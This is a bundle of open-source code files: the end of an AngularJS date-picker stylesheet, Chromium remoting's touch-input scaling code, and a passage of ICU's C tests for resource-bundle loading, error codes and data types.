background-repeat: repeat-x;
border-color: #ee905b #ee905b #e56218;
border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffee5f5b', endColorstr='#ffee905b', GradientType=0);
filter: progid:DXImageTransform.Microsoft.gradient(enabled=false);
}
[date-picker] .now:hover,
[date-picker] .now:active,
[date-picker] .now.active,
[date-picker] .now.disabled,
[date-picker] .now[disabled] {
color: #ffffff;
background-color: #ee905b;
*background-color: #ec8044;
}
[date-picker] .now:active,
[date-picker] .now.active {
background-color: #e9712d \9;
}
[date-picker] .disabled {
color: #999999 !important;
cursor: default;
background: none;
}
[date-picker] [ng-switch-when="year"] span,
[date-picker] [ng-switch-when="month"] span,
[date-picker] [ng-switch-when="minutes"] span {
height: 54px;
line-height: 54px;
}
[date-picker] [ng-switch-when="date"] td {
padding: 0;
}
[date-picker] [ng-switch-when="date"] span {
width: 100%;
height: 26px;
line-height: 26px;
}
[date-picker] th:hover,
[date-picker] [ng-switch-when="date"] td span:hover {
cursor: pointer;
background: #eeeeee;
} | samija/Deeplifefinal | public/app/css/plugins/datapicker/angular-datapicker.css | CSS | bsd-3-clause | 6,439 |
// Copyright 2015 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "remoting/client/plugin/touch_input_scaler.h"
#include "base/logging.h"
#include "remoting/proto/event.pb.h"
namespace remoting {
using protocol::TouchEvent;
using protocol::TouchEventPoint;
namespace {
// |value| is the number to be scaled. |output_max| is the output desktop's max
// height or width. |input_max| is the input desktop's max height or width.
float Scale(float value, int output_max, int input_max) {
DCHECK_GT(output_max, 0);
DCHECK_GT(input_max, 0);
value *= output_max;
value /= input_max;
return value;
}
// Same as Scale() but |value| will be scaled and clamped using |output_max| and
// |input_max|.
float ScaleAndClamp(float value, int output_max, int input_max) {
value = Scale(value, output_max, input_max);
return std::max(0.0f, std::min(static_cast<float>(output_max), value));
}
} // namespace
TouchInputScaler::TouchInputScaler(InputStub* input_stub)
: InputFilter(input_stub) {}
TouchInputScaler::~TouchInputScaler() {}
void TouchInputScaler::InjectTouchEvent(const TouchEvent& event) {
if (input_size_.is_empty() || output_size_.is_empty())
return;
// We scale based on the maximum input & output coordinates, rather than the
// input and output sizes, so that it's possible to reach the edge of the
// output when up-scaling. We also take care to round up or down correctly,
// which is important when down-scaling.
TouchEvent out_event(event);
for (int i = 0; i < out_event.touch_points().size(); ++i) {
TouchEventPoint* point = out_event.mutable_touch_points(i);
if (point->has_x() || point->has_y()) {
DCHECK(point->has_x() && point->has_y());
point->set_x(
ScaleAndClamp(point->x(), output_size_.width(), input_size_.width()));
point->set_y(ScaleAndClamp(point->y(), output_size_.height(),
input_size_.height()));
}
// Also scale the touch size. Without scaling, the size on the host will not
// be right.
// For example
// Suppose:
// - No size scaling.
// - Client is a HiDPI Chromebook device.
// - Host is running on a HiDPI Windows device.
// With the configuration above, the client will send the logical touch
// size to the host, therefore it will be smaller on the host.
// This is because a HiDPI Chromebook device (e.g. Pixel) has 2 by 2
// physical pixel mapped to a logical pixel.
// With scaling, the size would be the same.
// TODO(rkuroiwa): Also clamp. Note that point->angle() affects the maximum
// size (crbug.com/461526).
if (point->has_radius_x() || point->has_radius_y()) {
DCHECK(point->has_radius_x() && point->has_radius_y());
point->set_radius_x(
Scale(point->radius_x(), output_size_.width(), input_size_.width()));
point->set_radius_y(Scale(point->radius_y(), output_size_.height(),
input_size_.height()));
}
}
InputFilter::InjectTouchEvent(out_event);
}
} // namespace remoting
| PeterWangIntel/chromium-crosswalk | remoting/client/plugin/touch_input_scaler.cc | C++ | bsd-3-clause | 3,176 |
/********************************************************************
* COPYRIGHT:
* Copyright (c) 1997-2010, International Business Machines Corporation and
* others. All Rights Reserved.
********************************************************************/
/*******************************************************************************
*
* File CRESTST.C
*
* Modification History:
* Name Date Description
* Madhu Katragadda 05/09/2000 Ported Tests for New ResourceBundle API
* Madhu Katragadda 05/24/2000 Added new tests to test RES_BINARY for collationElements
********************************************************************************
*/
#include <time.h>
#include "unicode/utypes.h"
#include "cintltst.h"
#include "unicode/putil.h"
#include "unicode/ustring.h"
#include "unicode/ucnv.h"
#include "string.h"
#include "cstring.h"
#include "unicode/uchar.h"
#include "ucol_imp.h" /* for U_ICUDATA_COLL */
#include "ubrkimpl.h" /* for U_ICUDATA_BRKITR */
#define RESTEST_HEAP_CHECK 0
#include "unicode/uloc.h"
#include "unicode/ulocdata.h"
#include "uresimp.h"
#include "creststn.h"
#include "unicode/ctest.h"
#include "ucbuf.h"
#include "ureslocs.h"
static int32_t pass;
static int32_t fail;
/*****************************************************************************/
/**
* Return a random unsigned long l where 0N <= l <= ULONG_MAX.
*/
static uint32_t
randul()
{
uint32_t l=0;
int32_t i;
static UBool initialized = FALSE;
if (!initialized)
{
srand((unsigned)time(NULL));
initialized = TRUE;
}
/* Assume rand has at least 12 bits of precision */
for (i=0; i<sizeof(l); ++i)
((char*)&l)[i] = (char)((rand() & 0x0FF0) >> 4);
return l;
}
/**
* Return a random double x where 0.0 <= x < 1.0.
*/
static double
randd()
{
return ((double)randul()) / UINT32_MAX;
}
/**
* Return a random integer i where 0 <= i < n.
*/
static int32_t randi(int32_t n)
{
return (int32_t)(randd() * n);
}
/***************************************************************************************/
/**
* Convert an integer, positive or negative, to a character string radix 10.
*/
static char*
itoa1(int32_t i, char* buf)
{
char *p = 0;
char* result = buf;
/* Handle negative */
if(i < 0) {
*buf++ = '-';
i = -i;
}
/* Output digits in reverse order */
p = buf;
do {
*p++ = (char)('0' + (i % 10));
i /= 10;
}
while(i);
*p-- = 0;
/* Reverse the string */
while(buf < p) {
char c = *buf;
*buf++ = *p;
*p-- = c;
}
return result;
}
static const int32_t kERROR_COUNT = -1234567;
static const UChar kERROR[] = { 0x0045 /*E*/, 0x0052 /*'R'*/, 0x0052 /*'R'*/,
0x004F /*'O'*/, 0x0052/*'R'*/, 0x0000 /*'\0'*/};
/*****************************************************************************/
enum E_Where
{
e_Root,
e_te,
e_te_IN,
e_Where_count
};
typedef enum E_Where E_Where;
/*****************************************************************************/
#define CONFIRM_EQ(actual,expected) if (u_strcmp(expected,actual)==0){ record_pass(); } else { record_fail(); log_err("%s returned %s instead of %s\n", action, austrdup(actual), austrdup(expected)); }
#define CONFIRM_INT_EQ(actual,expected) if ((expected)==(actual)) { record_pass(); } else { record_fail(); log_err("%s returned %d instead of %d\n", action, actual, expected); }
#define CONFIRM_INT_GE(actual,expected) if ((actual)>=(expected)) { record_pass(); } else { record_fail(); log_err("%s returned %d instead of x >= %d\n", action, actual, expected); }
#define CONFIRM_INT_NE(actual,expected) if ((expected)!=(actual)) { record_pass(); } else { record_fail(); log_err("%s returned %d instead of x != %d\n", action, actual, expected); }
/*#define CONFIRM_ErrorCode(actual,expected) if ((expected)==(actual)) { record_pass(); } else { record_fail(); log_err("%s returned %s instead of %s\n", action, myErrorName(actual), myErrorName(expected)); } */
static void
CONFIRM_ErrorCode(UErrorCode actual,UErrorCode expected)
{
if ((expected)==(actual))
{
record_pass();
} else {
record_fail();
/*log_err("%s returned %s instead of %s\n", action, myErrorName(actual), myErrorName(expected)); */
log_err("returned %s instead of %s\n", myErrorName(actual), myErrorName(expected));
}
}
/* Array of our test objects */
static struct
{
const char* name;
UErrorCode expected_constructor_status;
E_Where where;
UBool like[e_Where_count];
UBool inherits[e_Where_count];
}
param[] =
{
/* "te" means test */
/* "IN" means inherits */
/* "NE" or "ne" means "does not exist" */
{ "root", U_ZERO_ERROR, e_Root, { TRUE, FALSE, FALSE }, { TRUE, FALSE, FALSE } },
{ "te", U_ZERO_ERROR, e_te, { FALSE, TRUE, FALSE }, { TRUE, TRUE, FALSE } },
{ "te_IN", U_ZERO_ERROR, e_te_IN, { FALSE, FALSE, TRUE }, { TRUE, TRUE, TRUE } },
{ "te_NE", U_USING_FALLBACK_WARNING, e_te, { FALSE, TRUE, FALSE }, { TRUE, TRUE, FALSE } },
{ "te_IN_NE", U_USING_FALLBACK_WARNING, e_te_IN, { FALSE, FALSE, TRUE }, { TRUE, TRUE, TRUE } },
{ "ne", U_USING_DEFAULT_WARNING, e_Root, { TRUE, FALSE, FALSE }, { TRUE, FALSE, FALSE } }
};
static int32_t bundles_count = sizeof(param) / sizeof(param[0]);
/*static void printUChars(UChar*);*/
static void TestDecodedBundle(void);
static void TestGetKeywordValues(void);
static void TestGetFunctionalEquivalent(void);
static void TestCLDRStyleAliases(void);
static void TestFallbackCodes(void);
static void TestGetUTF8String(void);
static void TestCLDRVersion(void);
/***************************************************************************************/
/* Array of our test objects */
void addNEWResourceBundleTest(TestNode** root)
{
addTest(root, &TestErrorCodes, "tsutil/creststn/TestErrorCodes");
#if !UCONFIG_NO_FILE_IO && !UCONFIG_NO_LEGACY_CONVERSION
addTest(root, &TestEmptyBundle, "tsutil/creststn/TestEmptyBundle");
addTest(root, &TestConstruction1, "tsutil/creststn/TestConstruction1");
addTest(root, &TestResourceBundles, "tsutil/creststn/TestResourceBundles");
addTest(root, &TestNewTypes, "tsutil/creststn/TestNewTypes");
addTest(root, &TestEmptyTypes, "tsutil/creststn/TestEmptyTypes");
addTest(root, &TestBinaryCollationData, "tsutil/creststn/TestBinaryCollationData");
addTest(root, &TestAPI, "tsutil/creststn/TestAPI");
addTest(root, &TestErrorConditions, "tsutil/creststn/TestErrorConditions");
addTest(root, &TestDecodedBundle, "tsutil/creststn/TestDecodedBundle");
addTest(root, &TestResourceLevelAliasing, "tsutil/creststn/TestResourceLevelAliasing");
addTest(root, &TestDirectAccess, "tsutil/creststn/TestDirectAccess");
addTest(root, &TestXPath, "tsutil/creststn/TestXPath");
addTest(root, &TestCLDRStyleAliases, "tsutil/creststn/TestCLDRStyleAliases");
addTest(root, &TestFallbackCodes, "tsutil/creststn/TestFallbackCodes");
addTest(root, &TestGetUTF8String, "tsutil/creststn/TestGetUTF8String");
addTest(root, &TestCLDRVersion, "tsutil/creststn/TestCLDRVersion");
#endif
addTest(root, &TestFallback, "tsutil/creststn/TestFallback");
addTest(root, &TestGetVersion, "tsutil/creststn/TestGetVersion");
addTest(root, &TestGetVersionColl, "tsutil/creststn/TestGetVersionColl");
addTest(root, &TestAliasConflict, "tsutil/creststn/TestAliasConflict");
addTest(root, &TestGetKeywordValues, "tsutil/creststn/TestGetKeywordValues");
addTest(root, &TestGetFunctionalEquivalent,"tsutil/creststn/TestGetFunctionalEquivalent");
addTest(root, &TestJB3763, "tsutil/creststn/TestJB3763");
addTest(root, &TestStackReuse, "tsutil/creststn/TestStackReuse");
}
/***************************************************************************************/
static const char* norwayNames[] = {
"no_NO_NY",
"no_NO",
"no",
"nn_NO",
"nn",
"nb_NO",
"nb"
};
static const char* norwayLocales[] = {
"nn_NO",
"nb_NO",
"nb",
"nn_NO",
"nn",
"nb_NO",
"nb"
};
static void checkStatus(int32_t line, UErrorCode expected, UErrorCode status) {
if(U_FAILURE(status)) {
log_data_err("Resource not present, cannot test (%s:%d)\n", __FILE__, line);
}
if(status != expected) {
log_err_status(status, "%s:%d: Expected error code %s, got error code %s\n", __FILE__, line, u_errorName(expected), u_errorName(status));
}
}
static void TestErrorCodes(void) {
static const UVersionInfo icu47 = { 4, 7, 0, 0 };
UErrorCode status = U_USING_DEFAULT_WARNING;
UResourceBundle *r = NULL, *r2 = NULL;
/* First check with ICUDATA */
/* first bundle should return fallback warning */
r = ures_open(NULL, "ti_ER_ASSAB", &status);
checkStatus(__LINE__, U_USING_FALLBACK_WARNING, status);
ures_close(r);
/* this bundle should return zero error, so it shouldn't change the status */
status = U_USING_DEFAULT_WARNING;
r = ures_open(NULL, "ti_ER", &status);
checkStatus(__LINE__, U_USING_DEFAULT_WARNING, status);
/* we look up the resource which is aliased, but it lives in fallback */
if(U_SUCCESS(status) && r != NULL) {
status = U_USING_DEFAULT_WARNING;
r2 = ures_getByKey(r, "LocaleScript", NULL, &status); /* LocaleScript lives in ti */
checkStatus(__LINE__, U_USING_FALLBACK_WARNING, status);
}
ures_close(r);
/* this bundle should return zero error, so it shouldn't change the status */
status = U_USING_DEFAULT_WARNING;
r = ures_open(U_ICUDATA_REGION, "ti", &status);
checkStatus(__LINE__, U_USING_DEFAULT_WARNING, status);
/* we look up the resource which is aliased and at our level */
/* TODO: restore the following test when cldrbug 3058: is fixed */
if(U_SUCCESS(status) && r != NULL && isICUVersionAtLeast(icu47)) {
status = U_USING_DEFAULT_WARNING;
r2 = ures_getByKey(r, "Countries", r2, &status);
checkStatus(__LINE__, U_USING_DEFAULT_WARNING, status);
}
ures_close(r);
status = U_USING_FALLBACK_WARNING;
r = ures_open(NULL, "nolocale", &status);
checkStatus(__LINE__, U_USING_DEFAULT_WARNING, status);
ures_close(r);
ures_close(r2);
/** Now, with the collation bundle **/
/* first bundle should return fallback warning */
r = ures_open(U_ICUDATA_COLL, "sr_YU_VOJVODINA", &status);
checkStatus(__LINE__, U_USING_FALLBACK_WARNING, status);
ures_close(r);
/* this bundle should return zero error, so it shouldn't change the status */
status = U_USING_FALLBACK_WARNING;
r = ures_open(U_ICUDATA_COLL, "sr", &status);
checkStatus(__LINE__, U_USING_FALLBACK_WARNING, status);
/* we look up the resource which is aliased */
if(U_SUCCESS(status) && r != NULL) {
status = U_USING_DEFAULT_WARNING;
r2 = ures_getByKey(r, "collations", NULL, &status);
checkStatus(__LINE__, U_USING_DEFAULT_WARNING, status);
}
ures_close(r);
/* this bundle should return zero error, so it shouldn't change the status */
status = U_USING_DEFAULT_WARNING;
r = ures_open(U_ICUDATA_COLL, "sr", &status);
checkStatus(__LINE__, U_USING_DEFAULT_WARNING, status);
/* we look up the resource which is aliased and at our level */
if(U_SUCCESS(status) && r != NULL) {
status = U_USING_DEFAULT_WARNING;
r2 = ures_getByKey(r, "collations", r2, &status);
checkStatus(__LINE__, U_USING_DEFAULT_WARNING, status);
}
ures_close(r);
status = U_USING_FALLBACK_WARNING;
r = ures_open(U_ICUDATA_COLL, "nolocale", &status);
checkStatus(__LINE__, U_USING_DEFAULT_WARNING, status);
ures_close(r);
ures_close(r2);
}
static void TestAliasConflict(void) {
UErrorCode status = U_ZERO_ERROR;
UResourceBundle *he = NULL;
UResourceBundle *iw = NULL;
UResourceBundle *norway = NULL;
const UChar *result = NULL;
int32_t resultLen;
uint32_t size = 0;
uint32_t i = 0;
const char *realName = NULL;
he = ures_open(NULL, "he", &status);
iw = ures_open(NULL, "iw", &status);
if(U_FAILURE(status)) {
log_err_status(status, "Failed to get resource with %s\n", myErrorName(status));
}
ures_close(iw);
result = ures_getStringByKey(he, "ExemplarCharacters", &resultLen, &status);
if(U_FAILURE(status) || result == NULL) {
log_err_status(status, "Failed to get resource ExemplarCharacters with %s\n", myErrorName(status));
}
ures_close(he);
size = sizeof(norwayNames)/sizeof(norwayNames[0]);
for(i = 0; i < size; i++) {
status = U_ZERO_ERROR;
norway = ures_open(NULL, norwayNames[i], &status);
if(U_FAILURE(status)) {
log_err_status(status, "Failed to get resource with %s for %s\n", myErrorName(status), norwayNames[i]);
continue;
}
realName = ures_getLocale(norway, &status);
log_verbose("ures_getLocale(\"%s\")=%s\n", norwayNames[i], realName);
if(realName == NULL || strcmp(norwayLocales[i], realName) != 0) {
log_data_err("Wrong locale name for %s, expected %s, got %s\n", norwayNames[i], norwayLocales[i], realName);
}
ures_close(norway);
}
}
static void TestDecodedBundle(){
UErrorCode error = U_ZERO_ERROR;
UResourceBundle* resB;
const UChar* srcFromRes;
int32_t len;
static const UChar uSrc[] = {
0x0009,0x092F,0x0941,0x0928,0x0947,0x0938,0x094D,0x0915,0x094B,0x0020,0x002E,0x0915,0x0947,0x0020,0x002E,0x090F,
0x0915,0x0020,0x002E,0x0905,0x0927,0x094D,0x092F,0x092F,0x0928,0x0020,0x002E,0x0915,0x0947,0x0020,0x0905,0x0928,
0x0941,0x0938,0x093E,0x0930,0x0020,0x0031,0x0039,0x0039,0x0030,0x0020,0x0924,0x0915,0x0020,0x0915,0x0902,0x092A,
0x094D,0x092F,0x0942,0x091F,0x0930,0x002D,0x092A,0x094D,0x0930,0x092C,0x0902,0x0927,0x093F,0x0924,0x0020,0x0938,
0x0942,0x091A,0x0928,0x093E,0x092A,0x094D,0x0930,0x0923,0x093E,0x0932,0x0940,0x0020,0x002E,0x0915,0x0947,0x0020,
0x002E,0x092F,0x094B,0x0917,0x0926,0x093E,0x0928,0x0020,0x002E,0x0915,0x0947,0x0020,0x002E,0x092B,0x0932,0x0938,
0x094D,0x0935,0x0930,0x0942,0x092A,0x0020,0x002E,0x0935,0x093F,0x0936,0x094D,0x0935,0x0020,0x002E,0x092E,0x0947,
0x0902,0x0020,0x002E,0x0938,0x093E,0x0932,0x093E,0x0928,0x093E,0x0020,0x002E,0x0032,0x0032,0x0030,0x0030,0x0020,
0x0905,0x0930,0x092C,0x0020,0x0930,0x0941,0x092A,0x092F,0x0947,0x0020,0x092E,0x0942,0x0932,0x094D,0x092F,0x0915,
0x0940,0x0020,0x002E,0x0034,0x0935,0x0938,0x094D,0x0924,0x0941,0x0913,0x0902,0x0020,0x002E,0x0034,0x0915,0x093E,
0x0020,0x002E,0x0034,0x0909,0x0924,0x094D,0x092A,0x093E,0x0926,0x0928,0x0020,0x002E,0x0034,0x0939,0x094B,0x0917,
0x093E,0x002C,0x0020,0x002E,0x0033,0x091C,0x092C,0x0915,0x093F,0x0020,0x002E,0x0033,0x0915,0x0902,0x092A,0x094D,
0x092F,0x0942,0x091F,0x0930,0x0020,0x002E,0x0033,0x0915,0x093E,0x0020,0x002E,0x0033,0x0915,0x0941,0x0932,0x0020,
0x002E,0x0033,0x092F,0x094B,0x0917,0x0926,0x093E,0x0928,0x0020,0x002E,0x0033,0x0907,0x0938,0x0938,0x0947,0x0915,
0x0939,0x093F,0x0020,0x002E,0x002F,0x091C,0x094D,0x092F,0x093E,0x0926,0x093E,0x0020,0x002E,0x002F,0x0939,0x094B,
0x0917,0x093E,0x0964,0x0020,0x002E,0x002F,0x0905,0x0928,0x0941,0x0938,0x0902,0x0927,0x093E,0x0928,0x0020,0x002E,
0x002F,0x0915,0x0940,0x0020,0x002E,0x002F,0x091A,0x0930,0x092E,0x0020,0x0938,0x0940,0x092E,0x093E,0x0913,0x0902,
0x0020,0x092A,0x0930,0x0020,0x092A,0x0939,0x0941,0x0902,0x091A,0x0928,0x0947,0x0020,0x0915,0x0947,0x0020,0x0932,
0x093F,0x090F,0x0020,0x0915,0x0902,0x092A,0x094D,0x092F,0x0942,0x091F,0x0930,0x090F,0x0915,0x0020,0x002E,0x002F,
0x0906,0x092E,0x0020,0x002E,0x002F,0x091C,0x0930,0x0942,0x0930,0x0924,0x0020,0x002E,0x002F,0x091C,0x0948,0x0938,
0x093E,0x0020,0x092C,0x0928,0x0020,0x0917,0x092F,0x093E,0x0020,0x0939,0x0948,0x0964,0x0020,0x092D,0x093E,0x0930,
0x0924,0x0020,0x092E,0x0947,0x0902,0x0020,0x092D,0x0940,0x002C,0x0020,0x0916,0x093E,0x0938,0x0915,0x0930,0x0020,
0x092E,0x094C,0x091C,0x0942,0x0926,0x093E,0x0020,0x0938,0x0930,0x0915,0x093E,0x0930,0x0928,0x0947,0x002C,0x0020,
0x0915,0x0902,0x092A,0x094D,0x092F,0x0942,0x091F,0x0930,0x0020,0x0915,0x0947,0x0020,0x092A,0x094D,0x0930,0x092F,
0x094B,0x0917,0x0020,0x092A,0x0930,0x0020,0x091C,0x092C,0x0930,0x0926,0x0938,0x094D,0x0924,0x0020,0x090F,0x095C,
0x0020,0x0932,0x0917,0x093E,0x092F,0x0940,0x0020,0x0939,0x0948,0x002C,0x0020,0x0915,0x093F,0x0902,0x0924,0x0941,
0x0020,0x0907,0x0938,0x0915,0x0947,0x0020,0x0938,0x0930,0x092A,0x091F,0x0020,0x0926,0x094C,0x095C,0x0932,0x0917,
0x093E,0x0928,0x0947,0x0020,0x002E,0x0032,0x0915,0x0947,0x0020,0x002E,0x0032,0x0932,0x093F,0x090F,0x0020,0x002E,
0x0032,0x0915,0x094D,0x092F,0x093E,0x0020,0x002E,0x0032,0x0938,0x092A,0x093E,0x091F,0x0020,0x002E,0x0032,0x0930,
0x093E,0x0938,0x094D,0x0924,0x093E,0x0020,0x002E,0x0032,0x0909,0x092A,0x0932,0x092C,0x094D,0x0927,0x0020,0x002E,
0x0939,0x0948,0x002C,0x0020,0x002E,0x0905,0x0925,0x0935,0x093E,0x0020,0x002E,0x0935,0x093F,0x0936,0x094D,0x0935,
0x0020,0x002E,0x092E,0x0947,0x0902,0x0020,0x002E,0x0915,0x0902,0x092A,0x094D,0x092F,0x0942,0x091F,0x0930,0x0020,
0x002E,0x0915,0x0940,0x0938,0x092B,0x0932,0x0924,0x093E,0x0020,0x002E,0x0033,0x0935,0x0020,0x002E,0x0033,0x0935,
0x093F,0x092B,0x0932,0x0924,0x093E,0x0020,0x002E,0x0033,0x0938,0x0947,0x0020,0x002E,0x0033,0x0938,0x092C,0x0915,
0x0020,0x002E,0x0033,0x0932,0x0947,0x0020,0x002E,0x0033,0x0915,0x0930,0x0020,0x002E,0x0033,0x0915,0x094D,0x092F,
0x093E,0x0020,0x002E,0x0033,0x0939,0x092E,0x0020,0x002E,0x0033,0x0907,0x0938,0x0915,0x093E,0x0020,0x002E,0x0033,
0x092F,0x0941,0x0915,0x094D,0x0924,0x093F,0x092A,0x0942,0x0930,0x094D,0x0923,0x0020,0x002E,0x0032,0x0935,0x093F,
0x0938,0x094D,0x0924,0x093E,0x0930,0x0020,0x0905,0x092A,0x0947,0x0915,0x094D,0x0937,0x093F,0x0924,0x0020,0x0915,
0x0930,0x0020,0x0938,0x0915,0x0947,0x0902,0x0917,0x0947,0x0020,0x003F,0x0020,
0
};
/* pre-flight */
int32_t num =0;
const char *testdatapath = loadTestData(&error);
resB = ures_open(testdatapath, "iscii", &error);
srcFromRes=tres_getString(resB,-1,"str",&len,&error);
if(U_FAILURE(error)){
#if UCONFIG_NO_LEGACY_CONVERSION
log_info("Couldn't load iscii.bin from test data bundle, (because UCONFIG_NO_LEGACY_CONVERSION is turned on)\n");
#else
log_data_err("Could not find iscii.bin from test data bundle. Error: %s\n", u_errorName(error));
#endif
ures_close(resB);
return;
}
if(u_strncmp(srcFromRes,uSrc,len)!=0){
log_err("Genrb produced res files after decoding failed\n");
}
while(num<len){
if(uSrc[num]!=srcFromRes[num]){
log_verbose(" Expected: 0x%04X Got: 0x%04X \n", uSrc[num],srcFromRes[num]);
}
num++;
}
if (len != u_strlen(uSrc)) {
log_err("Genrb produced a string larger than expected\n");
}
ures_close(resB);
}
static void TestNewTypes() {
UResourceBundle* theBundle = NULL;
char action[256];
const char* testdatapath;
UErrorCode status = U_ZERO_ERROR;
UResourceBundle* res = NULL;
uint8_t *binResult = NULL;
int32_t len = 0;
int32_t i = 0;
int32_t intResult = 0;
uint32_t uintResult = 0;
const UChar *empty = NULL;
const UChar *zeroString;
UChar expected[] = { 'a','b','c','\0','d','e','f' };
const char* expect ="tab:\t cr:\r ff:\f newline:\n backslash:\\\\ quote=\\\' doubleQuote=\\\" singlequoutes=''";
UChar uExpect[200];
testdatapath=loadTestData(&status);
if(U_FAILURE(status))
{
log_data_err("Could not load testdata.dat %s \n",myErrorName(status));
return;
}
theBundle = ures_open(testdatapath, "testtypes", &status);
empty = tres_getString(theBundle, -1, "emptystring", &len, &status);
if(empty && (*empty != 0 || len != 0)) {
log_err("Empty string returned invalid value\n");
}
CONFIRM_ErrorCode(status, U_ZERO_ERROR);
CONFIRM_INT_NE(theBundle, NULL);
/* This test reads the string "abc\u0000def" from the bundle */
/* if everything is working correctly, the size of this string */
/* should be 7. Everything else is a wrong answer, esp. 3 and 6*/
strcpy(action, "getting and testing of string with embeded zero");
res = ures_getByKey(theBundle, "zerotest", res, &status);
CONFIRM_ErrorCode(status, U_ZERO_ERROR);
CONFIRM_INT_EQ(ures_getType(res), URES_STRING);
zeroString=tres_getString(res, -1, NULL, &len, &status);
if(U_SUCCESS(status)){
CONFIRM_ErrorCode(status, U_ZERO_ERROR);
CONFIRM_INT_EQ(len, 7);
CONFIRM_INT_NE(len, 3);
}
for(i=0;i<len;i++){
if(zeroString[i]!= expected[i]){
log_verbose("Output did not match Expected: \\u%4X Got: \\u%4X", expected[i], zeroString[i]);
}
}
strcpy(action, "getting and testing of binary type");
res = ures_getByKey(theBundle, "binarytest", res, &status);
CONFIRM_ErrorCode(status, U_ZERO_ERROR);
CONFIRM_INT_EQ(ures_getType(res), URES_BINARY);
binResult=(uint8_t*)ures_getBinary(res, &len, &status);
if(U_SUCCESS(status)){
CONFIRM_ErrorCode(status, U_ZERO_ERROR);
CONFIRM_INT_EQ(len, 15);
for(i = 0; i<15; i++) {
CONFIRM_INT_EQ(binResult[i], i);
}
}
strcpy(action, "getting and testing of imported binary type");
res = ures_getByKey(theBundle, "importtest", res, &status);
CONFIRM_ErrorCode(status, U_ZERO_ERROR);
CONFIRM_INT_EQ(ures_getType(res), URES_BINARY);
binResult=(uint8_t*)ures_getBinary(res, &len, &status);
if(U_SUCCESS(status)){
CONFIRM_ErrorCode(status, U_ZERO_ERROR);
CONFIRM_INT_EQ(len, 15);
for(i = 0; i<15; i++) {
CONFIRM_INT_EQ(binResult[i], i);
}
}
strcpy(action, "getting and testing of integer types");
res = ures_getByKey(theBundle, "one", res, &status);
CONFIRM_ErrorCode(status, U_ZERO_ERROR);
CONFIRM_INT_EQ(ures_getType(res), URES_INT);
intResult=ures_getInt(res, &status);
uintResult = ures_getUInt(res, &status);
if(U_SUCCESS(status)){
CONFIRM_ErrorCode(status, U_ZERO_ERROR);
CONFIRM_INT_EQ(uintResult, (uint32_t)intResult);
CONFIRM_INT_EQ(intResult, 1);
}
strcpy(action, "getting minusone");
res = ures_getByKey(theBundle, "minusone", res, &status);
CONFIRM_ErrorCode(status, U_ZERO_ERROR);
CONFIRM_INT_EQ(ures_getType(res), URES_INT);
intResult=ures_getInt(res, &status);
uintResult = ures_getUInt(res, &status);
if(U_SUCCESS(status)){
CONFIRM_ErrorCode(status, U_ZERO_ERROR);
CONFIRM_INT_EQ(uintResult, 0x0FFFFFFF); /* a 28 bit integer */
CONFIRM_INT_EQ(intResult, -1);
CONFIRM_INT_NE(uintResult, (uint32_t)intResult);
}
strcpy(action, "getting plusone");
res = ures_getByKey(theBundle, "plusone", res, &status);
CONFIRM_ErrorCode(status, U_ZERO_ERROR);
CONFIRM_INT_EQ(ures_getType(res), URES_INT);
intResult=ures_getInt(res, &status);
uintResult = ures_getUInt(res, &status);
if(U_SUCCESS(status)){
CONFIRM_ErrorCode(status, U_ZERO_ERROR);
CONFIRM_INT_EQ(uintResult, (uint32_t)intResult);
CONFIRM_INT_EQ(intResult, 1);
}
res = ures_getByKey(theBundle, "onehundredtwentythree", res, &status);
CONFIRM_ErrorCode(status, U_ZERO_ERROR);
CONFIRM_INT_EQ(ures_getType(res), URES_INT);
intResult=ures_getInt(res, &status);
if(U_SUCCESS(status)){
CONFIRM_ErrorCode(status, U_ZERO_ERROR);
CONFIRM_INT_EQ(intResult, 123);
}
/* this tests if escapes are preserved or not */
{
const UChar* str = tres_getString(theBundle,-1,"testescape",&len,&status);
CONFIRM_ErrorCode(status, U_ZERO_ERROR);
if(U_SUCCESS(status)){
u_charsToUChars(expect,uExpect,(int32_t)strlen(expect)+1);
if(u_strcmp(uExpect,str)){
log_err("Did not get the expected string for testescape\n");
}
}
}
/* this tests if unescaping works are expected */
len=0;
{
char pattern[2048] = "";
int32_t patternLen;
UChar* expectedEscaped;
const UChar* got;
int32_t expectedLen;
/* This strcpy fixes compiler warnings about long strings */
strcpy(pattern, "[ \\\\u0020 \\\\u00A0 \\\\u1680 \\\\u2000 \\\\u2001 \\\\u2002 \\\\u2003 \\\\u2004 \\\\u2005 \\\\u2006 \\\\u2007 "
"\\\\u2008 \\\\u2009 \\\\u200A \\u200B \\\\u202F \\u205F \\\\u3000 \\u0000-\\u001F \\u007F \\u0080-\\u009F "
"\\\\u06DD \\\\u070F \\\\u180E \\\\u200C \\\\u200D \\\\u2028 \\\\u2029 \\\\u2060 \\\\u2061 \\\\u2062 \\\\u2063 "
"\\\\u206A-\\\\u206F \\\\uFEFF \\\\uFFF9-\\uFFFC \\U0001D173-\\U0001D17A \\U000F0000-\\U000FFFFD "
"\\U00100000-\\U0010FFFD \\uFDD0-\\uFDEF \\uFFFE-\\uFFFF \\U0001FFFE-\\U0001FFFF \\U0002FFFE-\\U0002FFFF "
);
strcat(pattern,
"\\U0003FFFE-\\U0003FFFF \\U0004FFFE-\\U0004FFFF \\U0005FFFE-\\U0005FFFF \\U0006FFFE-\\U0006FFFF "
"\\U0007FFFE-\\U0007FFFF \\U0008FFFE-\\U0008FFFF \\U0009FFFE-\\U0009FFFF \\U000AFFFE-\\U000AFFFF "
"\\U000BFFFE-\\U000BFFFF \\U000CFFFE-\\U000CFFFF \\U000DFFFE-\\U000DFFFF \\U000EFFFE-\\U000EFFFF "
"\\U000FFFFE-\\U000FFFFF \\U0010FFFE-\\U0010FFFF \\uD800-\\uDFFF \\\\uFFF9 \\\\uFFFA \\\\uFFFB "
"\\uFFFC \\uFFFD \\u2FF0-\\u2FFB \\u0340 \\u0341 \\\\u200E \\\\u200F \\\\u202A \\\\u202B \\\\u202C "
);
strcat(pattern,
"\\\\u202D \\\\u202E \\\\u206A \\\\u206B \\\\u206C \\\\u206D \\\\u206E \\\\u206F \\U000E0001 \\U000E0020-\\U000E007F "
"]"
);
patternLen = (int32_t)uprv_strlen(pattern);
expectedEscaped = (UChar*)malloc(U_SIZEOF_UCHAR * patternLen);
